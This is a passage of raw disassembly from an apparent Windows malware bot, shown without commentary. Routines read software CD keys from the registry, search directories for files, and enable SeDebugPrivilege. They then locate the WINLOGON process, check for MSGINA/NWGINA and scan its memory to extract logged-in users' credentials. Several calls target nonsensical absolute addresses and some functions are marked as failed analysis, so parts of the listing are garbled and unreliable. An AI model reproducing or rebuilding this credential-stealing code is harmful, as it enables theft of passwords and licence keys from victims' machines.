jz short loc_408A92
push ebx
push ebx
push 42Ch
push edi
call dword_43F6C4
mov [ebp+arg_4], eax
jmp short loc_408A95
; ---------------------------------------------------------------------------
loc_408A92: ; CODE XREF: sub_4089E7+96j
mov [ebp+arg_4], ebx
loc_408A95: ; CODE XREF: sub_4089E7+A9j
push [ebp+arg_4]
call sub_417B89
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_408A48
push [ebp+arg_4]
call sub_417B89
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_408ABC
push 1
pop ebx
jmp loc_408C18
; ---------------------------------------------------------------------------
loc_408ABC: ; CODE XREF: sub_4089E7+CBj
push edi
call dword_43F608
test eax, eax
jz short loc_408AD9
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_43F6C4
loc_408AD9: ; CODE XREF: sub_4089E7+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_417390
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_408AF4
mov ecx, 0A0h
loc_408AF4: ; CODE XREF: sub_4089E7+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_408AFE
push 78h
pop eax
loc_408AFE: ; CODE XREF: sub_4089E7+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_43F608
test eax, eax
jz short loc_408B43
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_43F6C4
loc_408B43: ; CODE XREF: sub_4089E7+14Aj
push edi
call dword_43F608
test eax, eax
jz short loc_408B60
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_43F6C4
loc_408B60: ; CODE XREF: sub_4089E7+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_43F608
test eax, eax
jz short loc_408B9E
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_43F6C4
loc_408B9E: ; CODE XREF: sub_4089E7+1A3j
push edi
call dword_43F608
test eax, eax
jz short loc_408BB9
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_43F6C4
loc_408BB9: ; CODE XREF: sub_4089E7+1C0j
push edi
call dword_43F608
test eax, eax
jz short loc_408BD2
push ebx
push ebx
push 43Eh
push edi
call dword_43F6C4
loc_408BD2: ; CODE XREF: sub_4089E7+1DBj
push edi
call dword_43F608
test eax, eax
jz short loc_408BEF
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_43F6C4
loc_408BEF: ; CODE XREF: sub_4089E7+1F4j
push [ebp+var_4]
call sub_417C3B
push esi
call sub_417C3B
pop ecx
pop ecx
push edi
call dword_43F608
test eax, eax
jz short loc_408C18
push ebx
push ebx
push 40Bh
push edi
call dword_43F6C4
loc_408C18: ; CODE XREF: sub_4089E7+63j
; sub_4089E7+D0j ...
push edi
call dword_43F718
mov eax, ebx
loc_408C21: ; CODE XREF: sub_4089E7+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4089E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408C26 proc near ; CODE XREF: sub_40EE72+588Bp
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_42B894, ebx
mov [ebp+var_C], 80h
jz loc_408DC7
push esi
push edi
mov eax, offset off_42B894
mov esi, offset dword_42B8A0
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_408C56: ; CODE XREF: sub_408C26+199j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_43F6D8
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_43F574
test eax, eax
jnz loc_408DAD
mov eax, [esi]
cmp eax, ebx
jz loc_408D71
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4172B0
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_4179A8
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_408DAD
push eax
loc_408CCF: ; CODE XREF: sub_408C26+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41900C
add esp, 0Ch
test eax, eax
jz loc_408D66
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_408CFC
push [ebp+var_8]
jmp short loc_408CCF
; ---------------------------------------------------------------------------
loc_408CFC: ; CODE XREF: sub_408C26+CFj
push 3Dh
push dword ptr [esi+4]
call sub_418F50
pop ecx
test eax, eax
pop ecx
jz short loc_408D2A
lea eax, [ebp+var_70]
push offset asc_42CA98 ; "="
push eax
call sub_418B6E
push offset asc_42CA98 ; "="
push ebx
call sub_418B6E
add esp, 10h
jmp short loc_408D2D
; ---------------------------------------------------------------------------
loc_408D2A: ; CODE XREF: sub_408C26+E4j
lea eax, [ebp+var_70]
loc_408D2D: ; CODE XREF: sub_408C26+102j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4172B0
add esp, 10h
lea eax, [ebp+var_2F0]
push ebx
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
lea eax, [ebp+var_2F0]
push eax
call sub_40BF6D
add esp, 18h
loc_408D66: ; CODE XREF: sub_408C26+B9j
push [ebp+var_8]
call sub_417900
pop ecx
jmp short loc_408DAD
; ---------------------------------------------------------------------------
loc_408D71: ; CODE XREF: sub_408C26+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
lea eax, [ebp+var_2F0]
push eax
call sub_40BF6D
add esp, 28h
loc_408DAD: ; CODE XREF: sub_408C26+60j
; sub_408C26+A2j ...
push [ebp+var_4]
call dword_43F644
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_408C56
pop edi
pop esi
loc_408DC7: ; CODE XREF: sub_408C26+19j
pop ebx
leave
retn
sub_408C26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408DCA proc near ; DATA XREF: sub_40EE72+3D62o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_417AB0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_408E1F
lea eax, [ebp+var_114]
push eax
call sub_417AB0
pop ecx
mov [ebp+eax+var_115], bl
loc_408E1F: ; CODE XREF: sub_408DCA+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_42CAEC
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41782A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_408E64
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40D679
add esp, 14h
loc_408E64: ; CODE XREF: sub_408DCA+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_408EE5
add esp, 18h
push eax
lea eax, [ebp+var_49C]
push offset unk_42CABC
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_408EC5
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40D679
add esp, 14h
loc_408EC5: ; CODE XREF: sub_408DCA+D9j
lea eax, [ebp+var_49C]
push eax
call sub_40BF6D
push [ebp+var_10]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 25E02EAh
pop edi
pop esi
pop ebx
sub_408DCA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408EE5 proc near ; CODE XREF: sub_408DCA+B9p
; sub_408EE5+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_41782A
mov edi, dword_4240BC
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_408FA2
loc_408F31: ; CODE XREF: sub_408EE5+BBj
test [ebp+var_144], 10h
jz short loc_408F8E
cmp [ebp+var_118], 2Eh
jnz short loc_408F55
cmp [ebp+var_117], 0
jz short loc_408F8E
cmp [ebp+var_117], 2Eh
jz short loc_408F8E
loc_408F55: ; CODE XREF: sub_408EE5+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41782A
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EE5
add esp, 2Ch
mov [ebp+arg_14], eax
loc_408F8E: ; CODE XREF: sub_408EE5+53j
; sub_408EE5+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
nop
call near ptr 2690000h
test eax, eax
jnz short loc_408F31
loc_408FA2: ; CODE XREF: sub_408EE5+4Aj
push [ebp+var_4]
nop
call near ptr 26703ADh
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41782A
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_409028
loc_408FD9: ; CODE XREF: sub_408EE5+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_41782A
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
nop
call near ptr 2690000h
test eax, eax
jnz short loc_408FD9
loc_409028: ; CODE XREF: sub_408EE5+F2j
push esi
nop
call near ptr 26703ADh
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_408EE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409037 proc near ; DATA XREF: sub_40EE72+5237o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_40B78A
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_409076
cmp eax, 2
jz short loc_409076
push offset unk_42CD60
jmp loc_4091B5
; ---------------------------------------------------------------------------
loc_409076: ; CODE XREF: sub_409037+2Ej
; sub_409037+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41511F
pop ecx
test eax, eax
pop ecx
jz loc_4091B0
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
nop
call near ptr 26D0C95h
mov esi, dword_4240DC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_43F314, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_43F308, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_43F518, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_43F310, eax
call esi
mov dword_43F30C, eax
call sub_409209
test eax, eax
mov [ebp+arg_0], eax
jz loc_409183
mov esi, dword_4240D8
mov edi, 400h
mov ebx, offset dword_43E308
push edi
push ebx
push offset off_42CC9C
call esi
push edi
mov edi, offset dword_43EB08
push edi
push offset off_42CC84
call esi
cmp [ebp+var_4], 1
push offset dword_43F520
push [ebp+arg_0]
jnz short loc_40912F
call sub_409392
jmp short loc_409134
; ---------------------------------------------------------------------------
loc_40912F: ; CODE XREF: sub_409037+EFj
call sub_409539
loc_409134: ; CODE XREF: sub_409037+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_40917C
cmp dword_43F520, 0
jnz short loc_409163
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_42CC0C
push 200h
push eax
call sub_41782A
add esp, 18h
jmp short loc_409196
; ---------------------------------------------------------------------------
loc_409163: ; CODE XREF: sub_409037+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_409173
call sub_40966F
jmp short loc_409178
; ---------------------------------------------------------------------------
loc_409173: ; CODE XREF: sub_409037+133j
call sub_409706
loc_409178: ; CODE XREF: sub_409037+13Aj
pop ecx
push eax
jmp short loc_409188
; ---------------------------------------------------------------------------
loc_40917C: ; CODE XREF: sub_409037+101j
push offset unk_42CBC4
jmp short loc_409188
; ---------------------------------------------------------------------------
loc_409183: ; CODE XREF: sub_409037+B6j
push offset unk_42CB80
loc_409188: ; CODE XREF: sub_409037+143j
; sub_409037+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_409196: ; CODE XREF: sub_409037+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41511F
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 26C074Dh
pop ebx
jmp short loc_4091C3
; ---------------------------------------------------------------------------
loc_4091B0: ; CODE XREF: sub_409037+4Ej
push offset unk_42CB3C
loc_4091B5: ; CODE XREF: sub_409037+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4091C3: ; CODE XREF: sub_409037+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4091EA
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_40D679
add esp, 14h
loc_4091EA: ; CODE XREF: sub_409037+191j
lea eax, [ebp+var_29C]
push eax
call sub_40BF6D
push [ebp+var_18]
call sub_417078
pop ecx
pop ecx
push esi
call near ptr 25E02EAh
nop
pop edi
pop esi
sub_409037 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_409209 proc near ; CODE XREF: sub_409037+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_4240EC
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_4240E8
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_43F314
push ebp
push 0
call esi
push eax
nop
call near ptr 26E0000h
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_43F314
test eax, eax
jnz short loc_4092F6
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4092F6
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_4092F6
loc_409292: ; CODE XREF: sub_409209+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4092E9
push 0
push 0
call dword_43F308
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_43F518
test eax, eax
jnz short loc_4092DA
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_419063
pop ecx
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jnz short loc_40930E
loc_4092DA: ; CODE XREF: sub_409209+AAj
test edi, edi
jz short loc_4092E5
push edi
call dword_43F310
loc_4092E5: ; CODE XREF: sub_409209+D3j
mov eax, [esp+28h+var_10]
loc_4092E9: ; CODE XREF: sub_409209+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_409292
loc_4092F6: ; CODE XREF: sub_409209+6Dj
; sub_409209+7Aj ...
xor edi, edi
loc_4092F8: ; CODE XREF: sub_409209+17Dj
push ebp
push 0
call esi
push eax
call near ptr 26E0000h
nop
mov eax, edi
loc_409306: ; CODE XREF: sub_409209+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_40930E: ; CODE XREF: sub_409209+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_409377
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_409324: ; CODE XREF: sub_409209+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_419063
pop ecx
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jnz short loc_40938B
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_419063
pop ecx
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jnz short loc_409369
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_409369: ; CODE XREF: sub_409209+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_409324
loc_409377: ; CODE XREF: sub_409209+10Fj
test edi, edi
jz short loc_409382
push edi
call dword_43F310
loc_409382: ; CODE XREF: sub_409209+170j
mov edi, [esp+28h+var_4]
jmp loc_4092F8
; ---------------------------------------------------------------------------
loc_40938B: ; CODE XREF: sub_409209+13Cj
xor eax, eax
jmp loc_409306
sub_409209 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409392 proc near ; CODE XREF: sub_409037+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
nop
call near ptr 2700537h
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_4093BB
xor eax, eax
jmp loc_409536
; ---------------------------------------------------------------------------
loc_4093BB: ; CODE XREF: sub_409392+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 2700000h
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_4240EC
push 8
call esi
mov edi, dword_4240E8
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_4240F4
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_40940B
xor esi, esi
jmp loc_409529
; ---------------------------------------------------------------------------
loc_40940B: ; CODE XREF: sub_409392+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 26F0A4Dh
test eax, eax
jz loc_409518
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_409518
test [ebp+var_2B], 1
jnz loc_409518
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_409518
loc_40946E: ; CODE XREF: sub_409392+112j
push edi
push offset dword_43E308
call sub_422A52
pop ecx
test eax, eax
pop ecx
jnz short loc_409496
lea eax, [edi+200h]
push eax
push offset dword_43EB08
call sub_422A52
pop ecx
test eax, eax
pop ecx
jz short loc_4094A6
loc_409496: ; CODE XREF: sub_409392+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_409518
jmp short loc_40946E
; ---------------------------------------------------------------------------
loc_4094A6: ; CODE XREF: sub_409392+102j
test edi, edi
jz short loc_409518
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
nop
call near ptr 2680631h
test eax, eax
jz short loc_4094E1
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call near ptr 2680000h
nop
test eax, eax
jz short loc_4094E1
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_4094E1: ; CODE XREF: sub_409392+12Bj
; sub_409392+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_43F52C, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_43F524, eax
mov dword_43F528, edi
loc_409518: ; CODE XREF: sub_409392+90j
; sub_409392+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
nop
call near ptr 26E0000h
mov esi, [ebp+var_10]
loc_409529: ; CODE XREF: sub_409392+74j
push [ebp+var_4]
nop
call near ptr 2611A31h
pop edi
mov eax, esi
pop ebx
loc_409536: ; CODE XREF: sub_409392+24j
pop esi
leave
retn
sub_409392 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409539 proc near ; CODE XREF: sub_409037:loc_40912Fp
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
nop
call near ptr 2700537h
test eax, eax
mov [ebp+arg_0], eax
jz loc_40962B
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
nop
call near ptr 2700000h
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_409622
mov edi, dword_4240EC
loc_409584: ; CODE XREF: sub_409539+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 26F0A4Dh
test eax, eax
jz short loc_409610
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_409616
test [ebp+var_13], 1
jnz short loc_409616
push ecx
push 8
call edi
push eax
nop
call near ptr 26F0000h
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
nop
call near ptr 26F0C77h
test eax, eax
jz short loc_409602
push offset dword_43E308
push esi
call sub_422A52
pop ecx
test eax, eax
pop ecx
jnz short loc_409602
lea eax, [esi+400h]
push offset dword_43EB08
push eax
call sub_422A52
pop ecx
test eax, eax
pop ecx
jz short loc_409632
loc_409602: ; CODE XREF: sub_409539+9Fj
; sub_409539+B0j
push esi
push 0
call edi
push eax
call near ptr 26E0000h
nop
jmp short loc_409616
; ---------------------------------------------------------------------------
loc_409610: ; CODE XREF: sub_409539+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_409616: ; CODE XREF: sub_409539+71j
; sub_409539+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_409584
loc_409622: ; CODE XREF: sub_409539+3Fj
push [ebp+arg_0]
call near ptr 2611A31h
nop
loc_40962B: ; CODE XREF: sub_409539+1Ej
xor eax, eax
loc_40962D: ; CODE XREF: sub_409539+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_409632: ; CODE XREF: sub_409539+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_43F524, ebx
mov dword_43F528, eax
cmp [eax], cl
jnz short loc_409654
cmp [eax+1], cl
jz short loc_40965C
loc_409654: ; CODE XREF: sub_409539+114j
; sub_409539+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_409654
loc_40965C: ; CODE XREF: sub_409539+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
nop
call near ptr 2611A31h
push 1
pop eax
jmp short loc_40962D
sub_409539 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40966F proc near ; CODE XREF: sub_409037+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_43F520
push esi
mov esi, dword_4240EC
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
nop
call near ptr 26F0000h
mov ecx, dword_43F520
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_43F528
push eax
call sub_417390
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_43F52C
push eax
call dword_43F30C
push [ebp+var_4]
mov edi, offset dword_43F318
push offset dword_43E308
push offset dword_43EB08
push [ebp+arg_0]
push offset unk_42CDC0
push 200h
push edi
call sub_41782A
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
call near ptr 26E0000h
nop
mov eax, edi
pop edi
pop esi
leave
retn
sub_40966F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409706 proc near ; CODE XREF: sub_409037:loc_409173p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_43F520
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
nop
call near ptr 26F09F8h
push eax
nop
call near ptr 26F0000h
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_43EB08
mov edi, 200h
mov esi, offset dword_43E108
loc_40974C: ; CODE XREF: sub_409706+FAj
mov eax, dword_43F520
add eax, eax
push eax
push dword_43F528
push [ebp+var_14]
call sub_417390
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_43F30C
mov eax, dword_43F520
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4097C1
loc_409789: ; CODE XREF: sub_409706+B3j
cmp [ebp+var_8], 0
jz short loc_4097DE
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_4097AD
cmp byte ptr [ecx+1], 0
jnz short loc_4097AD
cmp dl, 20h
